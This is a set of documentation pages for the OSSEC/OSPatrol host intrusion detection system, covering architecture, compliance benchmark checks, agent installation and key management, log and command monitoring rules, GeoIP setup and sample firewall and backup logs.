There was a small bug in the ossec-control script that was not caught in time for 2.6.
The error comes from the script trying to run ossec-logtest from the wrong directory.
The solution is to change the line where ossec-logtest is running to look like this:


echo | ${DIR}/bin/ossec-logtest > /dev/null 2>&1;













The rules aren’t on my agents, they’re only on the server!



That’s not a question. Also, that’s the way it is. Only the server has the rules. Agents do not get a copy of the rules.






Do the rules get pushed to the agents automatically?



The rules only exist on the manager. All analysis is done on the manager.
Agents do not send alerts to the manager, they only send the raw logs.






How can I get ossec.log to rotate daily?



Currently OSSEC does not rotate the ossec.log, use logrotate.d or newsyslog to rotate it for now.
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OSSEC Architecture


OSSEC is composed of multiple pieces. It has a central manager monitoring
everything and receiving information from agents, syslog, databases and from
agentless devices.



Manager


The manager is the central piece of the OSSEC deployment. It stores the file
integrity checking databases, the logs, events and system auditing entries.
All the rules, decoders and major configuration options are stored centrally in
the manager, making it easy to administer even a large number of agents.





Agents


The agent is a small program or collection of programs installed on the systems
you desire to monitor. The agent will collect information in real time and forward
it to the manager for analysis and correlation. It has a very small memory and CPU
footprint by default, not affecting system?x80x99s usage.


Agent security: It runs with a low privilege user (created during the
installation) and inside a chroot jail isolated from the system. Most of the
agent configuration is pushed from the manager, with just some of configuration
stored locally on each agent. In case these local options are changed, the manager
will receive the information and will generate an alert.





Agentless


For systems that you can’t install an agent, OSSEC allows you to perform file
integrity monitoring on them without the agent installed. It can be very useful
to monitor firewalls, routers and even Unix systems where you are not allowed
to install the agent.





Virtualization/VMware


OSSEC allows you to install the agent on the guest operating systems or inside
the host (VMware ESX). With the agent installed inside VMware ESX you can get
alerts about when a VM guest is being installed, removed, started, etc. It
also monitors logins, logouts and errors inside the ESX server. In addition to
that, OSSEC performs the Center for Internet Security (CIS) checks for VMware,
alerting if there is any insecure configuration option enabled or any other issue.





Firewalls, switches and routers


OSSEC can receive and analyze syslog events from a large variety of firewalls,
switches and routers. It supports all Cisco routers, Cisco PIX, Cisco FWSM,
Cisco ASA, Juniper Routers, Netscreen firewall, Checkpoint and many others.



Architecture


This diagram shows the central manager receiving events from the agents and
system logs from remote devices. When something is detected, active responses
can be executed and the admin is notified.


[image: Ossec architecture network diagram]





Internal Architecture


For technical and deep detailed information on how it works, please read the
following documents:


OSSEC log analysis/inspection architecture [http://ossec.net/ossec-docs/auscert-2007-dcid.pdf] (PDF) - by Daniel Cid





Support


Everyone knows that support and technical expertise are critical in ensuring the
success of any product deployment. With an open source project this is not
different. If you need enterprise-class commercial support for OSSEC, Trend
Micro, the company behind this great open source project, offers this option
to our users. For more information, visit the OSSEC commercial support page [http://www.ossec.net/main/get-commercial-support].


[image: ../_images/logo_tagline_09.gif]
 [http://www.ossec.net/main/get-commercial-support]
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Configuring Checkpoint



Run this command:


# fw log -ftnp fw.log | logger -t Checkpoint









Explanation:


- fw log :
  -f select current log file
  -t tail file
  -n use ip instead of name
  -p use port number instead of name









Do not use the following options in fw log:


-
-l add date before timestamp
-  Use of -l changes log format slightly
-
-g without : and ; delimiters
-  Use of -g significantly changes log format
-  this decoder is incompatible with -g
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Center for Internet Security Benchmark for Red Hat Enterprise Linux 5 v1.1


OSSEC Policy monitor can check if a system is in compliance with the
CIS Security Benchmark for Red Hat Linux 5 [http://www.cisecurity.org/bench_linux.html].



Note


This benchmark only covers RHEL 5.0 and OSSEC will only test this system according to this standard.





Understand the test


For every test that failed, you will receive an alert describing which section
of the benchmark that failed. For example:


System Audit: CIS - RHEL5 1.4 - Robust partition scheme - /var not on its own partition.






The above alert says that the system doesn’t have a robust partition scheme as required
by the section 1.4 of the benchmark.


To receive more information about each section,
please visit http://www.cisecurity.org/ to download the benchmarks
and learn how to solve the problem.





Downloading the Benchmark


The CIS RHEL Benchmark v1.1 is available at: http://www.cisecurity.org/tools2/linux/CIS_RHEL5_Benchmark_v1.1.pdf.
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VMware Infrastructure 3 Security Hardening for ESX 3.5


OSSEC Policy monitor can check if a system is in compliance with the
VMware Infrastructure 3 Security Hardening guidelines for ESX 3.5 [http://www.vmware.com/pdf/vi3_security_hardening_wp.pdf].
This benchmark covers the virtual machines settings for ESX 3.0 and 3.5. In addition to that, since
the ESX runs on Red Hat Linux, we also perform the Center for Internet Security Benchmark for Red Hat Enterprise Linux at the same time.



Understand the test


For every test that failed, you will receive an alert describing which section
of the benchmark that failed. For example:


System Audit: System Audit: VMware ESX - VM settings - Copy operation between guest and console enabled.
File: /vmfs/volumes/485a72e0-dd49e4f1-796c-001517761286/bart-RHEL5-svm/bart-RHEL5-svm.vmx.
Reference: http://www.ossec.net/wiki/index.php/SecurityHardening_VMwareESX .






The above alert says that the specified virtual machine enables copy operations between itself and the VM console.


To receive more information about each section,
please visit http://www.vmware.com/pdf/vi3_security_hardening_wp.pdf and look for guidelines on how to solve each issue reported.





Downloading the Benchmark


The VMware Infrastructure 3 Security Hardening guidelines for ESX 3.5 [http://www.vmware.com/pdf/vi3_security_hardening_wp.pdf] is available at: http://www.vmware.com/pdf/vi3_security_hardening_wp.pdf.





Example output from the test


# /var/ossec/bin/rootcheck_control -i local

System Audit: System Audit: VMware ESX - Testing against the Security Harderning benchmark VI3 for ESX 3.5.
File: /etc/vmware-release.
Reference: http://www.ossec.net/wiki/index.php/SecurityHardening_VMwareESX .

System Audit: System Audit: VMware ESX - VM settings - Copy operation between guest and console enabled.
File: /vmfs/volumes/485a72e0-dd49e4f1-796c-001517761286/Nostalgia/Nostalgia.vmx.
Reference: http://www.ossec.net/wiki/index.php/SecurityHardening_VMwareESX .

System Audit: System Audit: VMware ESX - VM settings - Copy operation between guest and console enabled.
File: /vmfs/volumes/485a72e0-dd49e4f1-796c-001517761286/bart-RHEL5-svm/bart-RHEL5-svm.vmx.
Reference: http://www.ossec.net/wiki/index.php/SecurityHardening_VMwareESX .

System Audit: System Audit: VMware ESX - VM settings - Data Flow from the Virtual Machine to the Datastore not limited - Rotate size not 100KB.
File: /vmfs/volumes/485a72e0-dd49e4f1-796c-001517761286/bart-RHEL5-build/bart-RHEL5-build.vmx.
Reference: http://www.ossec.net/wiki/index.php/SecurityHardening_VMwareESX .

System Audit: System Audit: VMware ESX - VM settings - Unauthorized Removal or Connection of Devices allowed.
File: /vmfs/volumes/485a72e0-dd49e4f1-796c-001517761286/Nostalgia/Nostalgia.vmx.
Reference: http://www.ossec.net/wiki/index.php/SecurityHardening_VMwareESX .

System Audit: System Audit: VMware ESX - VM settings - Avoid Denial of Service Caused by Virtual Disk Modification Operations - diskWiper enabled.
File: /vmfs/volumes/485a72e0-dd49e4f1-796c-001517761286/Nostalgia/Nostalgia.vmx.
Reference: http://www.ossec.net/wiki/index.php/SecurityHardening_VMwareESX .
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Center for Internet Security Benchmark for Debian Linux v1.0


OSSEC Policy monitor can check if a system is in compliance with the
CIS Security Benchmark for Debian [http://www.cisecurity.org/bench_linux.html].
OSSEC will only test Debian and Ubuntu/Kubuntu/Xubuntu systems according to this
standard.



Understand the test


For every test that failed, you will receive an alert describing which section
of the benchmark that failed. For example:


System Audit: CIS - Debian Linux 1.4 - Robust partition scheme - /var not on its own partition.






The above alert says that the system doesn’t have a robust partition scheme as required
by the section 1.4 of the benchmark.


To receive more information about each section,
please visit http://www.cisecurity.org [http://www.cisecurity.org/] to download the benchmarks
and learn how to solve the problem.





Downloading the Benchmark


The CIS Debian Benchmark v1.0 is available at: http://www.cisecurity.org/tools2/linux/CIS_Debian_Benchmark_v1.0.pdf.
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Scenarios:


Scenario 1: Configuration for all Linux agents


Scenario 2: Configure an agent to monitor /var/log/application.log


Scenario 3: All of the webservers need to monitor /var/log/httpd/error_log


Scenario 4: Monitor XXXCOMMANDXXX on an agent
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ospatrol.conf and agent.conf


For agent/server installs OSPatrol has some centralized configuration options available.
While a normal configuration exists in /var/ospatrol/etc/ospatrol.conf on each system, agents can also use /var/ospatrol/etc/shared/agent.conf.
The agent.conf exists on each system, but is distributed from the manager.
Any changes made to the agent.conf on an agent will be overwritten the next time the file is transferred from the manager.


The agent.conf is not distributed immediately after a change, in fact the transfer can take several hours. Also the agents have to be restarted after receiving a new agent.conf.



Configuration by Operating System:


It is possible to configure systems based on the operating system they run. This can be useful when monitoring log files that are in one location on one OS, and either absent or in a different location on another OS.


For instance OpenBSD has a logfile named /var/log/daemon that is not present on most other systems. To make sure the file is monitored we can add the following to /var/ospatrol/etc/shared/agent.conf on the manager:


<agent_config os="OpenBSD">
  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/daemon</location>
  </localfile>









Configuration by Agent Name:


These same changes can reference a system by agent name as well. In this instance I want to monitor /var/log/nmap-out.log on agent99, but don’t want to modify agent99’s ospatrol.conf. Adding the following to the agent.conf accomplishes this:


<agent_config name="agent99">
  <localfile>
    <log_format>nmapg</log_format>
    <location>/var/log/nmap-out.log</location>
  </localfile>
</agent_config>









Configuration by Profile:


Profiles are the newest option for the agent.conf. A popular way to use this option is to create profiles based on purpose, for instance a “webserver” profile. This allows you to modify the settings for all webservers, without affecting other systems sharing an OS or duplicating information by creating multiple entries with different names.


<agent_config profile="webserver">
  <localfile>
    <log_format>apache</log_format>
    <location>/var/log/apache/error_log</location>
  </localfile>
</agent_config>






This option does require modification of the agent’s ospatrol.conf. i
The <client> section of the agent’s ospatrol.conf will need to include a <config-profile> option with all desired profiles (comma separated).


<ospatrol_config>
  <client>
    <server-ip>192.168.1.100</server-ip>
    <config-profile>webserver</config-profile>
  </client>
</ospatrol_config>









Automatically restarting the agent processes when agent.conf is updated:


To help solve the problem of restarting the agents every time the agent.conf changes, you can use the following active response configuration. This assumes that you have active response enabled on the agents and manager.


This is the command and active response definition enabling the restart:


<command>
  <name>restart-ospatrol</name>
  <executable>restart-ospatrol.sh</executable>
  <expect></expect>
</command>

<active-response>
  <command>restart-ospatrol</command>
  <location>local</location>
  <rules_id>510010</rules_id>
</active-response>






This is the rule referenced in the <active-response> above:


<rule id="510010" level="10">
  <if_sid>550</if_sid>
  <match>/var/ospatrol/etc/shared/agent.conf</match>
  <description>agent.conf has been modified.</description>
</rule>






When syscheck finds a modified agent.conf rule 510010 is triggered, which triggers the restart-ospatrol active response.








          

      

      

    


    
        © Copyright 2010, Lots of people.
      Created using Sphinx 1.2.
    

  

ospatrol101/managing_agents/command.html


    
      Navigation


      
        		
          index


        		OSPatrol 2.7.2b1 documentation »

 
      


    


    
      
          
            
  
Monitoring a command:


OSPatrol can monitor commands in the same way it monitors log files.


There are two log_format options available for commands: full_command and command.
full_command will treat the entire output of the command as one log message, while command will treat each line as a separate message.


Knowing about applications listening for network connections is important, and finding out about new applications quickly is something OSPatrol can do. We want to check for new open ports on monitored systems, and the full_command option will make this easy. First we’ll create a localfile of the full_command type in ospatrol.conf. Next a rule will have to be created to check the output of the netstat command against the output of the previous netstat command. Any changes will trigger an alert.


The actual command we decided to use was netstat -an | grep LISTEN | grep -v '127.0.0.1' | sort -d. The sort will help keep OSPatrol from alerting when the order changes. The options provided to the netstat command in this example are simple and standard, other options might be available and desirable on other systems, for instance the -p flag on Linux systems. The greps will help us ignore ports that aren’t listening on the network. We decide we want to know quickly, but not overload the system so we run the check every ten minutes.



Monitoring the listening ports on a system:


For this command we want to see a list of the listening ports as a single message.


<ospatrol_config>
  <localfile>
    <log_format>full_command</log_format>
    <command>netstat -an | grep LISTEN | grep -v '127.0.0.1' | sort -d</command>
    <frequency>600</frequency>
    <alias>netstat</alias>
  </localfile>
</ospatrol_config>






The following rule uses the log message provided by the command above, and checks for differences between the current and previous runs. Using the <alias> option in the command above makes writing the rule a bit easier.


<rule id="510000" level="10">
  <if_sid>530</if_sid>
  <match>ospatrol: output: 'netstat'</match>
  <check_diff />
  <description>Listened ports have changed.</description>
</rule>






An alert from this command shows that something is now listening to


** Alert 1328711914.0: mail  - local,syslog,
2012 Feb 08 09:38:34 arrakis->netstat
Rule: 510000 (level 7) -> 'Listened ports have changed.'
ospatrol: output: 'netstat':
tcp          0      0  *.6000                 *.*                    LISTEN
tcp          0      0  *.22                   *.*                    LISTEN
tcp6         0      0  *.6000                 *.*                    LISTEN
tcp6         0      0  ::1.53                 *.*                    LISTEN
tcp6         0      0  ::1.587                *.*                    LISTEN
tcp6         0      0  ::1.25                 *.*                    LISTEN
Previous output:
ospatrol: output: 'netstat':
tcp          0      0  *.6000                 *.*                    LISTEN
tcp          0      0  *.22                   *.*                    LISTEN
tcp6         0      0  ::1.53                 *.*                    LISTEN
tcp6         0      0  *.6000                 *.*                    LISTEN
tcp6         0      0  ::1.587                *.*                    LISTEN
tcp6         0      0  ::1.25                 *.*                    LISTEN
tcp6         0      0  *.22                   *.*                    LISTEN






Just like knowing the which daemons are listening on the network, knowing which applications are installed on an agent can be very useful. New applications being installed on the system without the knowledge of the admins can be a problem. This is a check that probably doesn’t need to be run too often.





Check the RPM database for changes in the installed applications:


The defined command will look like the following:


<ospatrol_config>
  <localfile>
    <log_format>full_command</log_format>
    <command>rpm -qa | sort -d</command>
    <frequency>3600</frequency>
    <alias>rpmcheck</alias>
  </localfile>
</ospatrol_config>






And the corresponding rule:


<rule id="510001" level="10">
  <if_sid>530</if_sid>
  <match>ospatrol: output: 'rpmcheck'</match>
  <check_diff />
  <description>Installed packages have changed.</description>
</rule>
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Monitoring a log file:


Configuring OSPatrol to monitor a logfile is simple, just one small change to the system’s /var/ospatrol/etc/ospatrol.conf and a restart of the OSPatrol processes. Alternately, the configuration can be placed in the /var/ospatrol/etc/shared/agent.conf on the manager.


There are a number of formats that OSPatrol recognizes, the main one being syslog. If there is a log format OSPatrol does not recognize, you can use syslog as a “catch-all,” and build your decoders/rules around it. Other options can be found on the localfile syntax page.



What log files does OSPatrol monitor by default:



		/var/log/messages


		/var/log/secure


		/var/log/authlog


		/var/log/xferlog


		/var/log/maillog


		/var/www/logs/access_log


		/var/www/logs/error_log








Additional files to monitor:



		On Debian based systems:
- /var/log/dpkg.log


		On RHEL based systems:
- /var/log/yum.log








Monitoring /var/log/messages:


<ospatrol_config>

  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/messages</location>
  </localfile>

</ospatrol_config>









Monitoring /var/log/apache/access_log:


<ospatrol_config>
  <localfile>
    <log_format>apache</log_format>
    <location>/var/log/apache/access_log</location>
  </localfile>
</ospatrol_config>









Windows localfiles:


<localfile>
   <location>Application</location>
   <log_format>eventlog</log_format>
 </localfile>

 <localfile>
   <location>Security</location>
   <log_format>eventlog</log_format>
 </localfile>

 <localfile>
   <location>System</location>
   <log_format>eventlog</log_format>
 </localfile>
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manage_agents:


manage_agents is a menu based application available on both agents and servers, but performs different tasks on each. On the server it is used to add or remove an agent and retrieve the key for the an agent. On an agent manage_agents will import an authentication key.



Available actions on the manager:


The available actions on the manager are to add an agent, extract the key for an agent, list the current agents, remove an agent, and quit the application. Select an action by typing the letter in parentheses.


[image: manage_agents menu]



Adding an agent:





Creating the key on the server:



		On the server run /var/ospatrol/bin/manage_agents. Notice the options provided by this application. We will be choosing a to add an agent.





[image: manage agents]

		After selecting a we have to enter information about the agent. All of these items must be unique. Multiple agents using a single ID, IP, or hostname can cause i





ssues.




		The agent name does not have to be the hostname, but using the hostname may help with managing the agents.


		The IP address can be the actual IP address, a CIDR address (192.168.1.0/24), or any. It is best to be as specific as possible, but monitoring VPN or DHCP user










		s is sometimes necessary. CIDR addresses and any do not have to be unique.


		
		The ID will be used for a number of OSPatrol functions. Finding the ID is easy, so I typically choose the default.











[image: enter information about the agent]

		After confirming that the agent should be created and the information is correct, you will be presented with the original menu again. This time use L to list the






agents. Notice there is only 1 agent on this system. The list can get much larger, some people reportedly having over 1,000 agents on a single server.



[image: agent list]



Viewing a list of the agents:


Type ‘L‘ at the menu prompt to view the agents on the system.


[image: manage_agents: list agents]



Removing an agent:


Type ‘R‘ at the prompt to remove an agent. manage_agents prompts for the agent id, and confirms that the agent should be deleted. After an agent has been deleted, it cannot be un-deleted. It has to be re-added instead.


[image: manage_agents: remove an agent]



manage_agents on an agent:


The only option available when using manage_agents on an agent is to import the authentication key.


[image: manage_agents: agent options]



Using manage_agents at the command line:


manage_agents has a number of command line options. The most important ones are -h, -l, -e, and -i.




		-h prints the help message.


		-l lists the available agents.


		-e <id> extracts the authentication key for the agent id.


		-i <id> imports the authentication key on an agent.









manage_agents help message:


[image: manage_agents: cli]
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OSPatrol 101: Troubleshooting problems



Scenario 1
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OSPatrol 101: database output



Options:





Log sample:
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OSPatrol 101: prelude output



Options:





Log sample:
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		cumentation for Adding GeoIP Support


		

		– added support for GeoIP lookup using Maxmind database and API (xavier)


		
		support GeoIP database lookup for src/dst IP addresses


		converting non-private IP addresses to city names


		output to alerts.log, and syslog forwarding, and maild output















—— Sample procedure to enable GeoIP (adjust as needed)
Step 1. get and install Maxmind GeoIP API



wget http://www.maxmind.com/download/geoip/api/c/GeoIP-1.4.8.tar.gz
tar xzvf GeoIP-1.4.8.tar.gz
cd GeoIP-1.4.8
./configure
make
su
make install”




		Step 2. get Maxmind GeoIP DB


		wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
gzip -d GeoLiteCity.dat.gz
wget ttp://geolite.maxmind.com/download/geoip/database/GeoLiteCityv6-beta/GeoLiteCityv6.dat.gz
gzip -d GeoLiteCityv6.dat.gz
su
cp GeoLiteCity*.dat /var/ospatrol/etc/


		Step 3. Compile OSPatrol with GeoIP enabled, modify config


		
get ospatrol-2.7.tar.gz
tar xzvf ospatrol-2.7.tar.gz
cd ospatrol-2.7
cd src
make setgeoip
cd ..
su
./install.sh



—— modify etc/ospatrol.conf
<ospatrol_config>




		<global>


		<!– to specify GeoIP database file location –>
<geoip_db_path>/etc/GeoLiteCity.dat</geoip_db_path>
<geoip6_db_path>/etc/GeoLiteCityv6.dat</geoip6_db_path>





</global>



		<alerts>


		
<!– to add GeoIP info in alerts –>
<use_geoip>yes</use_geoip>



</alerts>












</ospatrol_config>


—— update etc/internal_options.conf
# Maild display GeoIP data (0=disabled, 1=enabled)
maild.geoip=1



		—— restart OSPatrol


		/var/ospatrol/bin/ospatrol-control restart
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OSPatrol 101: cef output



Options:





Log sample:
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OSPatrol 101: Server Installation



Things to keep in mind:


Many of the OSPatrol daemons chroot to the installation directory (/var/ospatrol is the default, and is the reference directory for this document).
All logs are currently kept in the /var/ospatrol/logs directory. Some log files are rotated daily, but OSPatrol does not move logs outside of /var/ospatrol/logs.
Depending on a number of factors these logs can become large, so make sure you have enough space to store the logs you want to keep.


Related to the amount of storage space you give to OSPatrol is the “events per second” (EPS) you expect to receive.
Michael Starks has provided a script to determine EPS in a blog post: 3WoO Day 2: Calculating Your EPS [http://www.immutablesecurity.com/index.php/2011/10/24/3woo-day-2-calculating-your-eps/].
There has not been any formal load testing on OSPatrol, but some informal testing has shown a local installation can handle 11,000 EPS. (email [http://osdir.com/ml/ospatrol-list/2010-09/msg00217.html] by Christopher Moraes)
This test was done under mostly ideal conditions, but we would be interested in hearing performance reports from other users.


The number of rules and agents can also affect the speed of the OSPatrol manager, and the amount of space necessary for to hold the logs. More agents means more logs.





Installation process:



		Download the OSPatrol tarball and pgp/gnupg signature from ospatrol.net [http://www.ospatrol.net/main/downloads].





[image: OSPatrol download]

		Use GnuPG or PGP to verify the download. Use gpg --import OSPatrol-GPG-Key.asc to import the OSPatrol gpg key, then gpg --verify ospatrol-hids-2.6.tar.gz.sig ospatrol-hids-2.6.tar.gz to verify the signature and file.





[image: gpg --verify ospatrol-hids-2.6.tar.gz]

		Unpack the tarball and change into the new directory with tar -zxf ospatrol-hids-2.6.tar.gz. Run the install.sh script to perform the installation ./install.sh:





[image: cd ospatrol-hids-2.6 && ./install.sh]

		If you wish to output alert information to a database (MySQL or PostgreSQL) or to Prelude, run the appropriate make command in the src directory. For database output run make setdb and for Prelude use make setprelude:






		Verify the information and press ENTER. System should detail the operating system and platform, User should be the current user, and Host should display the hostname.





[image: OSPatrol installation information]

		The installation type for this install will be server, and we are using the default install directory. It should be possible to install OSPatrol anywhere in the system but selecting the default will be easiest. Items inside the brackets are the default answers.





[image: OSPatrol installation questions]

		This installation will be configured to send email, integrity check daemon, and the rootkit detection engine.





[image: OSPatrol more installation questions]

		We will be disabling active response for now. Active response deserves its own section, and will be covered later.





[image: OSPatrol disable active response]

		We will also disable remote syslog (using OSPatrol’s syslog will be covered later). The script prints a log file that will be analyzed in addition to the typical log files. In this case it is a Debian specific log file.





[image: OSPatrol disable syslog]

		At this point OSPatrol will be compiled. After compilation has completed, the script provides more information:





[image: OSPatrol post installation message]



Adding an agent:



		Adding agents is done with the manage_agents application:





[image: cd /var/ospatrol/bin && ./manage_agents]

		The manage_agents menu is simple, enter a to add an agent:





[image: Add an agent with a]

		Enter the agent’s information. In the IP address field a CIDR (192.168.1.0/24) or any can be used:





[image: OSPatrol manage_agents agent information]

		After confirming the addition, manage agents will notify you that the OSPatrol processes must be restarted:





[image: OSPatrol manage_agents exit]

Note


Restarting the OSPatrol processes is only necessary for the initial agent.
While subsequent additions will still give the message, the restart is not necessary.





		Restarting the OSPatrol processes:





[image: cd /var/ospatrol/bin && ./ospatrol-control restart]
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OSPatrol 101: syslog output



Options:





Log sample:
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OSPatrol 101: Local Installation



Why you may want a local installation:





Forwarding alerts to another OSPatrol system:
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OSPatrol 101: Hybrid Installation


The hybrid installation method combines an OSPatrol server with an OSPatrol agent. This allows a system to be a server for a number of agents, and to be an agent to another server. By default the hybrid installation type installs the server portion to /var/ospatrol, and the agent in /var/ospatrol/ospatrol-agent.



Things to keep in mind:


This will be multiple fully functioning OSPatrol installations, make sure you plan for the necessary disk space. For instance, one of my hybrid servers shows the following:


$ sudo du -hs /var/ospatrol/ospatrol-agent/
1.2G    /var/ospatrol/ospatrol-agent/







Installation process:



		The install.sh script will display information about the host including the user name and hostname. Press enter to continue.





[image: hybrid information]

		Select hybrid as the type of installation and select the installation location:





[image: select hybrid]

		Prepare for compilation:





[image: installation information]

		The server side’s compilation is complete:





[image: installation complete]

		Next configure the agent portion of the hybrid installation:





[image: Configure agent]

		After successfully compiling the agent portion you should see a screen similar to this:





[image: Install complete]

		Now that the installation is complete the encryption key needs to be installed. This key will be created on the manager and copied to the agent. The simplest way to





do this is using the manage_agents utility, although creating keys one by one may be time consuming if there are a lot of agents. Othe methods will be covered late
r.





Configuring the system as an agent:
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OSPatrol 101: Installing a Linux Agent



Things to keep in mind:


Just like the server installation most of the agent OSPatrol processes chroot themselves to /var/ospatrol. Unlike the server version, an agent installation does not store as many logs. The main logs are /var/ospatrol/logs/ospatrol.log and /var/ospatrol/logs/active-responses.log if you are using active response. Be sure to allow ample space for these log files.





Installation process:


In the following steps actions performed on the agent will be in the red putty windows, and actions on the server will be in the black backgrounded windows.



		Download the OSPatrol tarball and pgp/gnupg signature from ospatrol.net [http://www.ospatrol.net/main/downloads] to the agent.





[image: OSPatrol download]

		Use GnuPG or PGP to verify the download. Use gpg --import OSPatrol-GPG-Key.asc to import the OSPatrol gpg key, then gpg --verify ospatrol-hids-2.6.tar.gz.sid ospatrol-hids-2.6.tar.gz to verify the signature an





d file.


[image: gpg --verify ospatrol-hids-2.6.tar.gz]

		Unpack the tarball and change into the new directory with tar -zxf ospatrol-hids-2.6.tar.gz. Run the install.sh script to perform the installation ./install.sh:





[image: cd ospatrol-hids-2.6 && ./install.sh]

		The install.sh script will display information about the host including the user name and hostname. Press enter to continue.





[image: agent information]

		Select agent as the type of installation and select an installation location (as usual, we’re using the default):





[image: select agent]

		Enter the IP address of the OSPatrol manager. This will automatically populate the agent’s ospatrol.conf with this setting:





[image: server IP address]

		By default the script will enable file integrity checking, rootkit checking, and active-response. Right now I’ve chosen to disable active-response. I want to get more comfortable with OSPatrol before telling it to take actions on its own. This will be easy to change later. This screen also mentions that /var/log/dpkg.log will be monitored in addition to the default log files. If this agent was a Red Hat based Linux distribution instead of Debian based, /var/log/yum.log would be listed.





[image: Active response]

		After this OSPatrol will be compiled and installed. If there are errors, double check that you have the proper pre-requisites installed.





[image: Installation complete]

		Now that the installation is complete the encryption key needs to be installed. This key will be created on the manager and copied to the agent. The simplest way to do this is using the manage_agents utility, although creating keys one by one may be time consuming if there are a lot of agents. Othe methods will be covered later.





Refer to managing_agents for instructions on adding an agent to an OSPatrol server.





Exporting the agent key:



		The manage_agents menu offers an option to (E)xtract key for an agent (E). This option extracts the key (base64 encoded) so it can be transfered to the agent. A simple copy & paste is all that is necessary to install it.





[image: extract the key]



Importing the agent key:



		Importing the key on the agent is simple. We’ll use the manage_agents on the agent as well. Notice the list of available actions is much smaller on the agent.





[image: agent's manage_agents menu]

		Select I to import the key and paste the key we got from the manager’s manage_agents application.





[image: paste the key]

		Confirm the information provided.





[image: confirm the information]

		Finally, restart the agent’s OSPatrol processes using ospatrol-control.





[image: restart]
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OSPatrol 101: Install Windows Agent:



Installation:





Silent Installation:





Importing the agent key:
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Log Samples boxbackup



Client side  error messages:


Jun 13 11:15:24 exserver bbackupd[6147]: bbackupd: terminating due to exception Common OSFileOpenError (Can't open a file -- attempted to load a non-existant config file or bad file referenced within?) (1/2)
Jun 13 11:18:36 exserver bbackupd[6632]: Starting daemon (config: /etc/box/bbackupd.conf) (version 0.10)
Jun 14 04:01:01 exserver bbackupd[6632]: Incoming connection from local (UNIX socket)
Jun 14 04:01:01 exserver bbackupd[6632]: Connection from command socket
Jun 14 04:01:01 exserver bbackupd[6632]: bbackupd: terminating due to exception Common OSFileOpenError (Can't open a file -- attempted to load a non-existant config file or bad file referenced within?) (1/2)
Jun 14 21:41:34 exserver bbackupd[30195]: Starting daemon (config: /etc/box/bbackupd.conf) (version 0.10)
Jun 14 21:42:04 exserver bbackupd[30195]: Incoming connection from local (UNIX socket)
Jun 14 21:42:04 exserver bbackupd[30195]: Connection from command socket
Jun 14 21:42:04 exserver bbackupd[30195]: bbackupd: terminating due to exception Common OSFileOpenError (Can't open a file -- attempted to load a non-existant config file or bad file referenced within?) (1/2)
Jun 14 21:43:06 exserver bbackupd[30469]: Starting daemon (config: /etc/box/bbackupd.conf) (version 0.10)
Jun 14 21:43:09 exserver bbackupd[30469]: Incoming connection from local (UNIX socket)
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OSPatrol Processes and Data








		Module
		Suposition





		
		ospatrol-analysisd    | Master program. Analyzes data from the logs, syscheck,rootcheck, etc.


		
Runs as an unprivileged (ospatrol) user under chroot.













		ospatrol-execd
		Execute active responses by calling the configured scripts. Runs as root.



		ospatrol-maild
		Send e-mail alerts. Runs as an unprivileged user (ospatrolm) under chroot.



		ospatrol-remoted
		Server side socket for server/client communications.
Runs as an unprivileged user (ospatrolr) under chroot.



		ospatrol-agentd
		Agent side socket for server/client communications.
Runs as an unprivileged user (ospatrol) under chroot.



		ospatrol-logcollector
		Monitor log files and windows event logs (do not use tail).



		ospatrol-syscheckd
		Does integrity checking and rootkit detection (rootcheck is a module of it).



		ospatrol-csyslogd
		Client syslog tool to forward OSPatrol alerts to remote syslog servers
(including SIM/SEMs and log management systems).



		ospatrol-monitord
		Monitor agent connectivity and compress daily log files.








		ospatrol-logcollector on agent machine tails log file & sends to ospatrol-agent.


		ospatrol-agent routes the information to the ospatrol-server (on server system).


		ospatrol-remoted receives data, uncompress and unencrypt it and sends to analysysd.


		ospatrol-analysisd detects an actionable issue.


		ospatrol-analysisd actions:







		ospatrol-analysisd sends information to ospatrol-execd (if response is configured to run in the server side).


		ospatrol-analysisd sends information to ospatrol-remoted (if response is configured to run in the agent).










		ospatrol-maild monitors analysisd and generate e-mail alert.


		If active response is enabled on the agent, ospatrol-remoted on the manager sends the active response
to ospatrol-agent on the agent and ospatrol-agent sends it to ospatrol-execed.


		ospatrol-execd calls an active response script
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		Microsoft ISA Server


		





Here is a sample of the firewall log from Microsoft ISA Server 2004 (in W3c extended format). Note that when the W3C extended log format is used, the times stamped on events are in Coordinated Universal Time (UTC) otherwise known as Greenwich Mean Time. So adjustments would have to be made during analysis for the particular time zone you are in.


Here is a sample of the web proxy log from ISA Server 2004. It is in W3C extended format.


Here are log samples from ISA Server 2000


IP Packet Filter log in W3C Extended format


2006-11-16      00:04:45        10.45.1.1       10.45.2.4       Udp     1675    137     -       BLOCKED 10.45.1.1       23 44 44 4e yu bf 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8b 44 89 44 3a 82 37
2006-11-16      00:04:46        10.45.1.1       10.45.2.4       Udp     1675    137     -       BLOCKED 10.45.1.1       23 44 44 4e yu c1 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8b 44 89 44 3a 82 35
2006-11-16      00:04:48        10.45.1.1       10.45.2.4       Udp     1675    137     -       BLOCKED 10.45.1.1       23 44 44 4e yu c2 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8b 44 89 44 3a 82 33
2006-11-16      00:04:49        10.45.1.1       10.45.2.4       Udp     1675    137     -       BLOCKED 10.45.1.1       23 44 44 4e yu ce 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8b 44 89 44 3a 82 31
2006-11-16      00:04:51        10.45.1.1       10.45.2.4       Udp     1675    137     -       BLOCKED 10.45.1.1       23 44 44 4e yu cf 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8b 44 89 44 3a 82 2f
2006-11-16      00:08:51        10.45.1.1       10.45.2.4       Udp     1676    137     -       BLOCKED 10.45.1.1       23 44 44 4e e6 61 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 4g 44 89 44 3a 82 26
2006-11-16      00:08:52        10.45.1.1       10.45.2.4       Udp     1676    137     -       BLOCKED 10.45.1.1       23 44 44 4e e7 97 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 4g 44 89 44 3a 82 24
